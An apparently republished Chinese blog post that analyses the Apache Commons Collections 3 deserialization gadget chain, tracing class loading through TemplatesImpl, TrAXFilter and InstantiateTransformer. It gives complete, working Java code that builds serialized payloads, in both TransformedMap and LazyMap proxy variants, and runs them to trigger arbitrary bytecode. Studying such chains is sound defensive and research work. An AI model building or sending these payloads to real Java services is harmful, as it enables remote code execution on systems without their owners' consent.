CommonCollections3链分析

news2024/11/18 6:04:21

先介绍一下URLClassLoader
在这里插入图片描述

URLClassLoader可以从传入的URL上加载任意类
且支持http协议
在这里插入图片描述
实际上类加载最关键的地方在Classloader#definClass()
所以我们要去找有谁调用了该方法
在这里插入图片描述
TemplatesImpl的内部类TransletClassLoader#defineClass()处调用
往前 在这里插入图片描述
TemplatesImpl#defineTransletClasses()
往前
在这里插入图片描述

TemplatesImpl#getTransletInstance()
往前
在这里插入图片描述
TemplatesImpl#newTransformer()
这个函数是public修饰的可以被外部修饰
我们先写一个demo测一下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException {

        TemplatesImpl templates = new TemplatesImpl();
        Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = clazz.getDeclaredField("_name");
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
        Field tfactory = clazz.getDeclaredField("_tfactory");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
        tfactory.setAccessible(true);
        name.set(templates,"ss");
        byte[] code = Files.readAllBytes(Paths.get("绝对路径"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        tfactory.set(templates,new TransformerFactoryImpl());
        templates.newTransformer();

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}

在这里插入图片描述

注意Test类要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet避免TemplatesImpl#defineTransletClasses抛空指针异常
在这里插入图片描述
在这里插入图片描述
TemplatesImpl实现了Serializable接口
后面和cc1差不多
改改就能用了
先测一下确保没写错

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, URISyntaxException, NoSuchMethodException, InvocationTargetException {

        TemplatesImpl templates = new TemplatesImpl();
        Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = clazz.getDeclaredField("_name");
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
//        Field tfactory = clazz.getDeclaredField("_tfactory");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
//        tfactory.setAccessible(true);
        name.set(templates,"ss");
        byte[] code = Files.readAllBytes(Paths.get("D:\\IDEA\\maventest\\CC3\\CC3\\target\\classes\\Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
//        tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates)
                ,new InvokerTransformer("newTransformer",null,null)
                };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<String, Object> hashMap = new HashMap<>();
        hashMap.put("value","value");
        Map<Object,Object> decoratedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
                .getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Target.class,decoratedMap);
//        serialize(obj);
        unSerialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}

在这里插入图片描述
在ysoserial上是用的InstantiateTransformer
那我们再来看看这个怎么实现
在这里插入图片描述
TrAXFilter的构造方法中调了newTransformer
我们可以通过InstantiateTransformer#transform()来调构造方法

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, URISyntaxException, NoSuchMethodException, InvocationTargetException {
//        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file://target\\classes\\Test.class")});
//        Class<?> c = urlClassLoader.loadClass("Test");
//        c.newInstance();


        TemplatesImpl templates = new TemplatesImpl();
        Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = clazz.getDeclaredField("_name");
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
//        Field tfactory = clazz.getDeclaredField("_tfactory");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
//        tfactory.setAccessible(true);
        name.set(templates,"ss");
        byte[] code = Files.readAllBytes(Paths.get("D:\\IDEA\\maventest\\CC3\\CC3\\target\\classes\\Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
//        tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();

//        Transformer[] transformers = new Transformer[]{
//                new ConstantTransformer(templates)
//                ,new InvokerTransformer("newTransformer",null,null)
//                };
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//
//        HashMap<String, Object> hashMap = new HashMap<>();
//        hashMap.put("value","value");
//        Map<Object,Object> decoratedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
//
//        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
//                .getDeclaredConstructor(Class.class, Map.class);
//        constructor.setAccessible(true);
//        Object obj = constructor.newInstance(Target.class,decoratedMap);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class)
                ,new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


                HashMap<String, Object> hashMap = new HashMap<>();
        hashMap.put("value","value");
        Map<Object,Object> decoratedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
                .getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Target.class,decoratedMap);


        serialize(obj);
        unSerialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}

最后再改成lazyMap的就行了
在这里插入图片描述

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException, URISyntaxException, NoSuchMethodException, InvocationTargetException {
//        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file://target\\classes\\Test.class")});
//        Class<?> c = urlClassLoader.loadClass("Test");
//        c.newInstance();


        TemplatesImpl templates = new TemplatesImpl();
        Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = clazz.getDeclaredField("_name");
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
//        Field tfactory = clazz.getDeclaredField("_tfactory");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
//        tfactory.setAccessible(true);
        name.set(templates,"ss");
        byte[] code = Files.readAllBytes(Paths.get("D:\\IDEA\\maventest\\CC3\\CC3\\target\\classes\\Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
//        tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();

//        Transformer[] transformers = new Transformer[]{
//                new ConstantTransformer(templates)
//                ,new InvokerTransformer("newTransformer",null,null)
//                };
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//
//        HashMap<String, Object> hashMap = new HashMap<>();
//        hashMap.put("value","value");
//        Map<Object,Object> decoratedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
//
//        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
//                .getDeclaredConstructor(Class.class, Map.class);
//        constructor.setAccessible(true);
//        Object obj = constructor.newInstance(Target.class,decoratedMap);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class)
                ,new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Constructor annotationInvocationHandlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
                .getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);



        HashMap<String, Object> hashMap = new HashMap<>();

        LazyMap lzMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
        InvocationHandler lzInvocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lzMap);
        Map proxyLazyMap = (Map) Proxy.newProxyInstance(lzMap.getClass().getClassLoader(), lzMap.getClass().getInterfaces(), lzInvocationHandler);

        Object obj = annotationInvocationHandlerConstructor.newInstance(Override.class, proxyLazyMap);


        serialize(obj);
        unSerialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/852614.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OpenCV 中的光流 (C++/Python)

什么是光流? 光流是一项视频中两个连续帧之间每像素运动估计的任务。基本上,光流任务意味着计算像素的位移矢量作为两个相邻图像之间的对象位移差。光流的主要思想是估计物体由其运动或相机运动引起的位移矢量。 理论基础 假设我们有一个灰度图像——具有像素强度的矩阵。我…

【YOLOX】《YOLOX:Exceeding YOLO Series in 2021》

arXiv-2021 文章目录 1 Background and Motivation2 Related Work3 Advantages / Contributions4 Method5 Experiments5.1 Datasets and Metrics 6 Conclusion&#xff08;own&#xff09; 1 Background and Motivation 2 Related Work 3 Advantages / Contributions 4 Meth…

自定义注解(Annontation)

目录 1.注解定义 2.元注解定义 3. 自定义注解&#xff08;自定义的注解名称相同的会覆盖原注解&#xff09; 4.Annotation架构&#xff08;元注解参数介绍&#xff09; 1.注解定义 注解是用来将任何的信息或元数据&#xff08;metadata&#xff09;与程序元素&#xff08;类…

行业报告 | Q3策略汇报:持续看好AI+复苏、国产化

原创 | 文 BFT机器人 01 国产化是产业发展基石 1.1 设备&#xff1a;量测等环节国产化弹性大 刻蚀、清洗、CMP等环节国产化率较高。得益于北方华创、中微公司的产品突破和市占率提升&#xff0c;刻蚀环节国产化率在2022年已接近20%&#xff0c;鉴于刻蚀设备市场空间广阔&#…

电影订票选座商城开发--源码部署,快速搭建

一、技术选择 电影订票选座商城开发需要结合前端和后端技术来实现。 二、功能设计 电影订票选座商城需要具备以下功能&#xff1a; 用户注册登录&#xff1a;用户可以通过手机号、邮箱等方式注册账号&#xff0c;并通过登录验证获取权限。 电影票查询&#xff1a;用户可以查…

喆啡酒店十周年丨啡越时间限,ALL BY 10VE!

啡越时光热爱为伴 十年前&#xff0c;秉持对咖啡馆文化及复古风格的喜爱&#xff0c;喆啡酒店创造全新的Coffetel品类&#xff0c;将充满「温暖」「愉悦」「咖啡香」的格调体验带给消费者&#xff0c;成为无数人「旅途中的啡凡存在」。 十年间&#xff0c;喆啡酒店以热爱化为…

在Hierarchy层级面板上组织业务脚本流程——使用async和await

〇、把多个不同的脚本串联在一起顺序阻塞执行 把很多个脚本串联在一起&#xff0c;让他们按照先后顺序执行&#xff0c;等着前面的执行完毕&#xff0c;在执行后面的&#xff0c;这就是用【异步方法】实现的&#xff0c;能够顺序执行的流程。 如下图所示&#xff0c;流程脚本都…

CleanMyMac2023永久版Mac清理工具

CleanMyMac拥有超强的清理能力&#xff0c;能够快速清理Mac垃圾文件、陈旧数据&#xff0c;恢复Mac原本性能&#xff0c;保持电脑好状态&#xff01;CleanMyMac中文版功能非常的强大&#xff0c;操作简单&#xff0c;使用起来高效快捷&#xff0c;自身拥有一个安全数据&#xf…

安装OpenCV依赖包libjasper-dev无法安装

记录在ubuntu22.04上编译OpenCV4.6&#xff0c;遇到依赖包无法安装的问题。 主要是源的问题 sudo gedit /etc/apt/sources.list我的源文件&#xff0c;######处的下一行是改动的地方&#xff0c;主要把自带的源都注释了&#xff0c;然后在末尾添加了清华源。 # deb cdrom:[Ubu…

详解C语言中的int8_t、uint8_t、int16_t、uint16_t、int32_t、uint32_t、int64_t、uint64_t

2023年8月8日&#xff0c;周二上午 目录 为什么会产生int8_t、uint8_t等这类数据类型int8_t、uint8_t等这类数据类型有什么用头文件int8_t、uint8_t等这类数据类型是怎么实现的 为什么会产生int8_t、uint8_t等这类数据类型 根本原因在于&#xff0c;C 语言标准只是规定了各个…

CentOS8装不上软件

App stream什么提示、或者找不到firewalld服务等类似提示时。可以尝试替换/etc/yum.repos.d文件夹下的文件内容。记得替换之前先备份原有的&#xff0c;防止意外情况便于恢复。 替换后文件如下&#xff1a; 文件下载地址&#xff1a; https://download.csdn.net/download/zhao…

也谈态势感知的嵌套与级联

不同颗粒度的态势感知可以嵌套在一起&#xff0c;形成一个层次结构&#xff0c;从而提供全面和多层次的信息获取和理解。 在态势感知中&#xff0c;颗粒度可以理解为观察、收集和分析信息的细节程度。较高颗粒度的态势感知关注的是具体的事件、行动或细节&#xff0c;提供了详细…

如何高性能、高效率地实现3D Web轻量化?

随着互联网和Web技术的发展&#xff0c;3D Web应用的需求越来越多。然而&#xff0c;复杂的3D模型在Web上展示和交互通常需要大量的带宽和计算资源。为了解决这一问题&#xff0c;HOOPS技术作为一套专业的3D图形技术开发工具包&#xff0c;发挥着关键作用。本文将探讨HOOPS技术…

问道管理:新创业板权限怎么开通?

在我国证券商场中&#xff0c;创业板能够被认为是相对较为年青的板块&#xff0c; 但在近几年中&#xff0c;创业板体现出了极高的投资价值。为了更好地促进我国立异企业开展&#xff0c;政府开放了新创业板权限。可是&#xff0c;对于很多人来说&#xff0c;新创业板权限是一个…

【MySQL学习】道士下山——MySQL的安装教程

学习数据库&#xff0c;不仅仅需要学习数据库的理论知识&#xff0c;还需要掌握一定的数据库开发能力&#xff1b;为后续的数据库应用开发、数据库内核开发等打下良好的基础。 对于学习者而言&#xff0c;目前市面上的Oracle等数据库软件需要付费&#xff0c;而MySQL作为一款免…

又一关键系统上线!海底捞进销存系统登陆OceanBase,数据库整体成本节省50%

2020 年&#xff0c;海底捞全面实现“云上捞”&#xff0c;将所有核心业务系统上云&#xff0c;全面推进企业数字化进程。而随着海底捞业务的不断增长&#xff0c;加上数智化转型构建全新的线上智慧服务&#xff0c;原有 IT 系统架构已经逐渐无法有效“驾驭”海量数据与突发流量…

Java之多线程和并发应用

多线程和并发应用 1. 概念与意义2. 多线程的实际应用场景2.1 网络通信2.2 数据库操作2.3 图片处理 3. 多线程的创建方式3.1 继承 Thread 类3.2 实现 Runnable 类3.3 实现 Callable 接口3.4 比较 Thread 和 Runnable3.5 线程同步与锁3.6 线程池 4. 并发编程的挑战和解决方案4.1 …

mysql存储过程定时调度

假设我们要创建一个简单的数据库&#xff0c;其中包含两张表&#xff1a;students 表和 courses 表&#xff0c;以及一个存储过程用于插入学生数据。下面是完整的建表语句、插入语句和存储过程&#xff1a; 1】建表 -- 创建 courses 表 CREATE TABLE courses (course_id INT …

【自然语言处理】大模型高效微调:PEFT 使用案例

文章目录 一、PEFT介绍二、PEFT 使用2.1 PeftConfig2.2 PeftModel2.3 保存和加载模型 三、PEFT支持任务3.1 Models support matrix3.1.1 Causal Language Modeling3.1.2 Conditional Generation3.1.3 Sequence Classification3.1.4 Token Classification3.1.5 Text-to-Image Ge…

OpenLayers入门,OpenLayers涂鸦手绘线条、圆形和多边形,涂鸦线条自动收尾连接成多边形

专栏目录: OpenLayers入门教程汇总目录 前言 本章再次讲解OpenLayers绘制图形功能,上一章中《OpenLayers图形绘制,OpenLayers实现在地图上绘制线段、圆形和多边形》我们已经讲过多种图形的绘制,本章主要讲解自由涂鸦手绘绘制线条,圆形和任意形状。 二、依赖和使用 &q…